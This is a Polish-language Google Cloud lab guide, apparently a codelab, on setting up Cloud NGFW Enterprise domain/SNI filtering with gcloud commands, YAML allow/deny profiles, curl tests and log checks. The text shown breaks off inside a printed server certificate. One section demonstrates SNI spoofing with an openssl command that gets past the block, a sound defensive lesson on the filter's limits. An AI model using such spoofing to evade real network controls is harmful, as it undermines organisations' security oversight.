Laboratorium Cloud NGFW Enterprise Domain/SNI Filtering [opcjonalna inspekcja TLS]

1. Wprowadzenie

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i wszechstronnym zasięgiem, która chroni zbiory zadań Google Cloud przed atakami wewnętrznymi i zewnętrznymi.

Cloud NGFW ma następujące korzyści:

  • Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanowe, w pełni rozproszone egzekwowanie zasad na poziomie hosta w przypadku każdego zbioru zadań, aby umożliwić architekturę zabezpieczeń opartą na zasadzie „zero zaufania”.
  • Uproszczona konfiguracja i wdrażanie: Cloud NGFW implementuje zasady zapory sieciowej i hierarchicznej, które można dołączyć do węzła hierarchii zasobów. Zapewniają one spójne działanie zapory sieciowej w całej hierarchii zasobów Google Cloud.
  • Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej i tagów zarządzanych przez Identity and Access Management (IAM) zapewnia szczegółową kontrolę ruchu północ-południe i wschód-zachód, aż do pojedynczej maszyny wirtualnej, w sieciach prywatnego środowiska wirtualnego w chmurze (VPC) i organizacjach.

Usługa Cloud NGFW jest dostępna w tych wersjach:

  • Podstawy Cloud Next Generation Firewall
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Obiekty FQDN w Cloud NGFW Standard mogą tłumaczyć pełne i jednoznaczne nazwy domen (FQDN) na adresy IP, a następnie egzekwować regułę w odniesieniu do listy adresów IP. Jednak Cloud NGFW Enterprise z filtrowaniem domen może pójść o krok dalej.

Cloud NGFW Enterprise

Cloud NGFW Enterprise oferuje obecnie usługę zapobiegania włamaniom (IPS), która jest funkcją warstwy 7, w rozproszonej infrastrukturze zapory sieciowej Google Cloud.

Cloud NGFW Enterprise ma teraz filtrowanie domen, które umożliwia kontrolowanie ruchu http(s) za pomocą nazw domen zamiast adresów IP.

W przypadku filtrowania domen/SNI ruchu HTTPS w ramach uzgadniania TLS rozszerzeniem Client Hello jest Server Name Indication (SNI). SNI to rozszerzenie protokołu TLS, które wysyła nazwę hosta, z którym klient próbuje się połączyć. Na podstawie tego parametru będzie weryfikowane filtrowanie.

W przypadku ruchu HTTP nie ma SNI, więc do filtrowania będzie używane tylko pole nagłówka Host HTTP.

Filtrowanie domen jest konfigurowane za pomocą elementu UrlFilteringProfile, który jest nowym typem profilu zabezpieczeń. UrlFilteringProfile będzie zawierać listę UrlFilters, z których każdy zawiera działanie, listę dopasowywanych ciągów tekstowych i niepowtarzalny priorytet. Ta konfiguracja używa nazwy „Url” zamiast „Domain”, aby ułatwić przejście na filtrowanie pełnych adresów URL, gdy stanie się ono dostępne, zamiast tworzyć w przyszłości nowy typ profilu zabezpieczeń.

Profile filtrowania adresów URL zawierają domyślny filtr adresów URL o najniższym priorytecie (2147483647), który odrzuca wszystkie połączenia, które nie pasują do filtra adresów URL o wyższym priorytecie.

Co utworzysz

To ćwiczenie wymaga jednego projektu oraz możliwości utworzenia sieci VPC i zarządzania wieloma zasobami sieciowymi i zabezpieczającymi. Pokazuje, jak Cloud NGFW Enterprise może filtrować domeny i SNI, oraz zawiera opcjonalne instrukcje dotyczące inspekcji TLS.

Przetestujemy różne scenariusze reguł zezwalających i odmawiających, w tym użycie symboli wieloznacznych.

4a779fae790d117.png

Stan końcowy bazy reguł zasad zapory sieciowej będzie podobny do tabeli poniżej:

Priorytet

Kierunek

Target

Źródło

Cel

Czynność

Typ

200

Ruch przychodzący

WSZYSTKIE

IAP

Dowolna

Zezwól

Essentials

300

Ruch wychodzący

WSZYSTKIE

Dowolna

0.0.0.0/0:80,443

Inspekcja L7

Enterprise

Czego się nauczysz

  • Jak utworzyć zasadę zapory sieciowej.
  • Jak skonfigurować i używać filtrowania domen/SNI w Cloud NGFW Enterprise.
  • Jak skonfigurować ochronę przed zagrożeniami oprócz filtrowania domen/SNI.
  • Jak sprawdzić dzienniki.
  • [Opcjonalnie] Jak włączyć inspekcję TLS.

Czego potrzebujesz

  • projekt Google Cloud,
  • Umiejętność wdrażania instancji i konfigurowania komponentów sieciowych.
  • znajomość konfiguracji zapory sieciowej zasad sieciowych;

2. Zanim zaczniesz

Tworzenie i aktualizowanie zmiennych

W tym ćwiczeniu używamy zmiennych, aby ułatwić wdrażanie konfiguracji gcloud w Cloud Shell.

W Cloud Shell uruchom te polecenia, zastępując informacje w nawiasach kwadratowych odpowiednimi danymi:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. Włącz interfejsy API

Włącz interfejsy API, jeśli jeszcze tego nie zrobiono:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tworzenie punktu końcowego Cloud NGFW Enterprise

Tworzenie punktu końcowego Cloud NGFW Enterprise trwa około 20 minut, więc zostanie on utworzony jako pierwszy, a podstawową konfigurację można przeprowadzić równolegle podczas tworzenia punktu końcowego.

Filtrowanie domen/SNI będzie wymagać punktu końcowego zapory sieciowej, nawet jeśli nie zamierzasz używać profili zapobiegania zagrożeniom.

Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

Aby sprawdzić, czy punkt końcowy jest tworzony (CREATING), uruchom to polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Proces tworzenia trwa około 20 minut. Przejdź do sekcji Konfiguracja podstawowa, aby równolegle utworzyć wymagane zasoby.

5. Konfiguracja podstawowa

Sieć VPC i podsieć

Sieć VPC i podsieć

Utwórz sieć VPC i podsieć:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Utwórz zewnętrzny adres IP, Cloud Router i bramę Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Tworzenie instancji

Utwórz instancję klienta:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone 

Globalne zasady zapory sieciowej

Utwórz globalną zasadę zapory sieciowej:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

Utwórz wymagane reguły podstawowe zapory sieciowej Cloud Firewall, aby zezwolić na ruch z zakresów Identity-Aware Proxy:

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

Powiąż zasadę zapory sieciowej z siecią VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Tworzenie konfiguracji filtrowania domen/SNI dla zezwalania

Następnie skonfigurujemy domeny, które mają być dozwolone i odrzucane. W Cloud Shell utwórz plik YAML:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

Utwórz profil zabezpieczeń, importując konfigurację YAML:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Oczekiwane dane wyjściowe:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

Utwórz grupę profili zabezpieczeń:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

Sprawdź, czy SPG zawiera profil zabezpieczeń:

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

Oczekiwane dane wyjściowe:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. Powiązanie punktu końcowego zapory sieciowej Cloud Firewall

Zdefiniuj zmienne środowiskowe, jeśli nie zostały jeszcze zdefiniowane lub jeśli wolisz podejście oparte na skryptach.

Sprawdź, czy tworzenie punktu końcowego zapory sieciowej w chmurze zostało zakończone. Kontynuuj dopiero wtedy, gdy stan będzie AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Powiąż punkt końcowy zapory sieciowej w chmurze z siecią VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Proces łączenia trwa około 10 minut. Do następnej sekcji przejdź dopiero wtedy, gdy stan będzie AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoint-associations list

Oczekiwane dane wyjściowe w przypadku zakończenia:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. Tworzenie reguł zapory sieciowej do filtrowania domen i SNI

Google ma domyślne reguły zezwalające zapory sieciowej dotyczące ruchu wychodzącego. Jeśli chcemy wymusić filtrowanie domeny lub SNI, musimy wyraźnie zdefiniować regułę. Poniższa reguła będzie wysyłać ruch wychodzący na portach docelowych 80 i 443 do sprawdzenia przez nasz profil zabezpieczeń.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. Weryfikowanie reguł zezwalania

Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Wysyłaj przykładowe żądania do dozwolonego miejsca docelowego:

curl https://www.example.com --max-time 2

Zwróć uwagę, że to żądanie zostało zrealizowane dzięki regule zapory sieciowej „allow”.

Spróbujmy kilku domen, które nie znajdują się na liście.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

Oczekiwane dane wyjściowe:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

Dlaczego „example.com” nie działa? Dzieje się tak, ponieważ w konfiguracji profilu zabezpieczeń wyraźnie podano „www.example.com”. Jeśli chcemy zezwolić na dostęp do wszystkich subdomen domeny example.com, możemy użyć symbolu wieloznacznego.

Pozostałe żądania również nie zostały przetworzone. Wynika to z faktu, że grupa profili zabezpieczeń ma domyślne odrzucanie o najniższym priorytecie i tylko domena www.example.com jest dozwolona.

Zamknij maszynę wirtualną, aby wrócić do Cloud Shell.

exit

10. Aktualizowanie konfiguracji filtrowania domeny/SNI dla symbolu wieloznacznego

Przyjrzyjmy się plikowi YAML i wprowadźmy dodatkowe zmiany, aby zaprezentować dodatkowe możliwości, w tym obsługę symboli wieloznacznych. Utworzymy regułę zezwalającą na „*.com”, która jest odpowiednikiem dowolnej domeny kończącej się na .com. Uwaga: całkowicie zastąpi ona zawartość oryginalnego pliku YAML utworzonego w poprzedniej sekcji.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Zaktualizuj profil zabezpieczeń za pomocą nowej konfiguracji YAML:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Sprawdź konfigurację profilu zabezpieczeń:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Oczekiwane dane wyjściowe:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. Weryfikowanie reguły z wieloznacznikiem

Sprawdźmy, czy reguła z symbolem wieloznacznym działa. Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Wyślij przykładowe żądania do dozwolonych miejsc docelowych:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Wszystkie te żądania powinny zakończyć się powodzeniem. Możesz wypróbować dowolną inną prawidłową domenę .com. Jeśli nadal się nie powiedzie, odczekaj co najmniej 10 minut i spróbuj ponownie.

Możemy nawet wypróbować wiele subdomen domeny „.com” i wszystkie powinny działać.

curl https://mail.google.com --max-time 2

Zamknij maszynę wirtualną, aby wrócić do Cloud Shell.

exit

12. Aktualizowanie konfiguracji filtrowania domen/SNI w przypadku odmowy

Pokazaliśmy, że na końcu profilu zabezpieczeń znajduje się reguła niejawnego ODMOWY dla * i utworzyliśmy „dozwolone” domeny, używając parametru filteringAction jako „ALLOW”. Omówmy teraz, jak używać parametru filteringAction z wartością „DENY”. Działania DENY mogą być przydatne, gdy poprzedzają wyraźne działanie ALLOW. Rozważmy ten przykład.

Zaktualizujemy istniejący plik YAML, aby zezwalał na *.com, ale odrzucał określone domeny .com.

Zmodyfikujemy plik YAML, aby zablokować domeny *.github.com i *.google.com, a jednocześnie wyraźnie zezwolić na wszystkie inne domeny *.com i zachować domyślne blokowanie. Pamiętaj, że priorytet wyjątków musi mieć niższą wartość: (1000 vs 2000) i (1500 vs 2000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Zaktualizuj profil zabezpieczeń za pomocą nowej konfiguracji YAML:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Sprawdź konfigurację profilu zabezpieczeń:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. Weryfikowanie reguł odmowy

Sprawdźmy, czy reguły DENY działają. Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Wyślij przykładowe żądania do odrzuconych miejsc docelowych:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

Te 2 żądania powinny zakończyć się niepowodzeniem, ponieważ pasowały do reguły „ODRZUĆ”.

Wyślij kilka dodatkowych żądań:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Dlaczego te reklamy były skuteczne? Działały one, ponieważ reguły DENY dotyczyły domen „.github.com” i „.google.com”. Żądania wysyłane do github.com i google.com nie są objęte tym symbolem wieloznacznym, ponieważ odnosi się on do subdomen github.com i google.com.

Inne żądania wysyłane do domen .com powinny być realizowane, a w przypadku innych domen domyślnie odrzucane. (.org, .net, .me itp.)

Zamknij maszynę wirtualną, aby wrócić do Cloud Shell.

exit

14. Aktualizowanie konfiguracji filtrowania domen/SNI w przypadku domyślnego zezwalania

Co zrobić, jeśli chcesz mieć domyślne zachowanie ZEZWALAJ z wyraźnymi regułami odrzucania? Zaktualizujemy plik YAML, aby odzwierciedlał to zachowanie. Skonfigurujemy reguły DENY dla wszystkich domen .com i .net, a w przypadku pozostałych domen zezwolimy na dostęp.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

Zaktualizuj profil zabezpieczeń za pomocą nowej konfiguracji YAML:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Sprawdź konfigurację profilu zabezpieczeń:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Oczekiwane dane wyjściowe:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

Zwróć uwagę, że domyślne uprawnienie DENY dla * nadal istnieje. Ta reguła staje się nieistotna, ponieważ skonfigurowaliśmy regułę domyślną o wyższym priorytecie (niższej wartości), która ma ustawioną wartość ALLOW w przypadku parametru filteringAction.

(2000000000 vs 2147483647)

15. Weryfikacja reguł odmowy z domyślną regułą zezwalającą

Sprawdźmy, czy reguły DENY działają razem z domyślną regułą ALLOW. Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Wyślij przykładowe żądania do odrzuconych miejsc docelowych:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

Te 2 żądania powinny zakończyć się niepowodzeniem, ponieważ pasowały do reguły „ODRZUĆ”. Każde żądanie dotyczące domeny .com lub .net powinno się nie powieść.

Wyślij kilka żądań, które powinny zostać zaakceptowane (dowolna inna domena najwyższego poziomu):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Te żądania powinny się powieść, ponieważ są zgodne z domyślną regułą zezwalającą o priorytecie 2000000000.

16. Sprawdzanie logów filtrowania domen i SNI

Sprawdźmy, jak można zweryfikować, czy ruch jest sprawdzany przez regułę zapory sieciowej dotyczącą filtrowania domen/SNI.

W konsoli Cloud otwórz Eksplorator logów i wpisz ten filtr:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

Powyższy filtr sprawdza zasady zapory sieciowej o nazwie $prefix-fwpolicy i priorytet reguły 300, z którym powiązana jest grupa profili zabezpieczeń z konfiguracją filtrowania domeny lub SNI.

91854cacaec44798.png

Jak widać, w polu „disposition” jest wpis „INTERCEPTED”, co oznacza, że ruch został przechwycony i przesłany do naszego silnika zapory sieciowej w celu przetworzenia.

Aby wyświetlić rzeczywiste logi filtrowania domeny lub SNI, w Eksploratorze logów wpisz ten filtr: (zastąp $project_id wartością project_id)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

Jeśli rozwiniemy niektóre szczegóły, zobaczymy te informacje (po usunięciu danych umożliwiających identyfikację):

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

Przykładowy log powyżej pokazuje żądanie do wikipedia.org, które zostało ZEZWOLONE, ponieważ pasowało do reguły o priorytecie 2000000000, która miała wartość „*” i działanie filtra ZEZWÓL. Zawiera on też inne szczegóły, w tym SNI.

Możemy przyjrzeć się przykładowemu logowi DENY:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

Jak widać powyżej, jest to żądanie, które zostało zarejestrowane w momencie odrzucenia prośby. Żądanie zostało wysłane do domeny www.php.net, która pasuje do reguły 1500 w profilu zabezpieczeń. Podobnie dopasowywała ona SNI, aby podjąć decyzję.

17. Weryfikowanie reguł w przypadku fałszowania SNI

Jak wspomnieliśmy we wstępie, NGFW Enterprise może sprawdzać nagłówek hosta HTTP w przypadku ruchu HTTP lub SNI w przypadku ruchu zaszyfrowanego za pomocą TLS. Osoby fizyczne mogą podszywać się pod SNI. Co się stanie, jeśli to zrobią?

Sprawdźmy zachowanie. Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Aby sfałszować SNI, uruchom to polecenie openssl:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

W przykładzie powyżej oczekuje się, że żądania wysyłane do domen .com i .net będą blokowane, a inne domeny najwyższego poziomu będą dozwolone. Poniżej znajdziesz przykład sfałszowanej odpowiedzi. Żądanie jest wysyłane do www.google.com, który powinien być zablokowany, ale zamiast wysyłać SNI www.google.com, określamy SNI ifconfig.me. Ponieważ zasady sprawdzają SNI, uznają tę domenę za „dozwoloną” i umożliwią jej przejście. Udało nam się nawiązać połączenie TLS z witryną google.com.

.

Oczekiwane dane wyjściowe:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
